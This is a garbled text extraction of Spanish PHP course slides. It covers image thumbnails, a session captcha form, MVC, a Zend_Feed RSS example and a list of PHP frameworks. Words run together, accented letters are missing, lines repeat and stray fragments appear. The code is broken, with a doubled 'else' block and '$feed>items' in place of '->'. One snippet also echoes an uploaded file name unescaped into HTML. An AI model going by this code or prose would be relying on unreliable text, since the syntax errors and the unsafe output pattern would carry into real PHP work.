$url =
"clase_imagen.php?fotografia=$foto_copia";
echo"<img src=\"$url\">";
g
;
echo"ImagenMiniatura:<br>";
$foto_copia =
$_FILES["fichero"]["name"]."&modo=miniatura";
$url =
"clase_imagen.php?fotografia=$foto_copia";
echo"<img src=\"$url\">";
}
?>

Esunmecanismodeseguridadparaevitarllenao
automatico deformularios
formcatcha.php
<?php
session_start();
if(isset($_POST["palabra"])){
if($_POST["palabra"]==$_SESSION["oculto"])
die("Felicidades!Haledocorrectamentelapalabra.");
else
die("Nohasadivinadolapalabra.Pruebaotravez");
} else {
}else
?>
<form method="post"action="">
<img src="capucaptcha.php">
<inputtype="text"name="palabra">
<inputtype="submit"value="Comprobar">
</form>
<?php
}
?>

40

15/09/2014

El modelo representa la
informacin con la que trabaja
la aplicacin,
aplicacin es decir,
decir su lgica de
negocio.
2. La vista transforma el modelo en
una pgina web que permite al
usuario interactuar con ella.
3. El controlador se encarga
de pprocesar las interacciones del
usuario y realiza los cambios
apropiados en el modelo o en la
vista.

LosFrameworks ayudaneneldesarrollodesoftware
Proporcionanunaestructuradefinidalacualayudaacrear
aplicaciones con mayor rapidez
aplicacionesconmayorrapidez
SeutilizalaProgramacinOrientadaaObjetos(POO),
permitiendolareutilizacindenuestrocdigo

41

15/09/2014

Zend Framework
Essimple,nonecesitainstalacinespecial,requierePHP5
eincorporaelpatrnMVC.
e incorpora el patrn MVC
Sedebe descargar ycopiarlohacianuestroservidorlocal,
veamosatravsdeunpequeoejemplocmopodemos
crearunlectordeRSS.Losficherosquecreemospodemos
copiarlosdentrodeldirectoriolibrary.
<?php //Componenterequeridorequire_once 'Zend/Feed.php';
// I l i
//Incluimosladireccindenuestroficherorss
l di
i d
t fi h
quedeseamosimportar
d
i
t
$feed =Zend_Feed::import('http://localhost/rss.php');
//Serecorrerntodoslositem delfichero,mostrandoeltituloyelenlace
foreach ($feed>items as$item)
{echo"<p>".$item>title()."<br />";
echo$item>link()."</p>";
}?>

Symfony
Diseadoconelobjetivodeoptimizarlacreacindelas
aplicacionesweb,conelusodesuscaractersticas.
li i
b
l
d
i
Poseeunalibreradeclasesquepermitenreducirel
tiempodedesarrollo.
DesarrolladoenPHP5,sepuedeutilizarenplataformas
*nix (Unix,Linux)yWindows.
Requieredeunainstalacin,configuracinylneasde
q
,
g
y
comando,incorporaelpatrnMVC,soportaAJAX,
plantillasyungrannmerodebasesdedatos.

42

15/09/2014

PHPPrado
CakePHP
Qcodo
Kumbia
PHP4ECore
CodeIgniter
Yii Framework
TomatesFramework

43

Você também pode gostar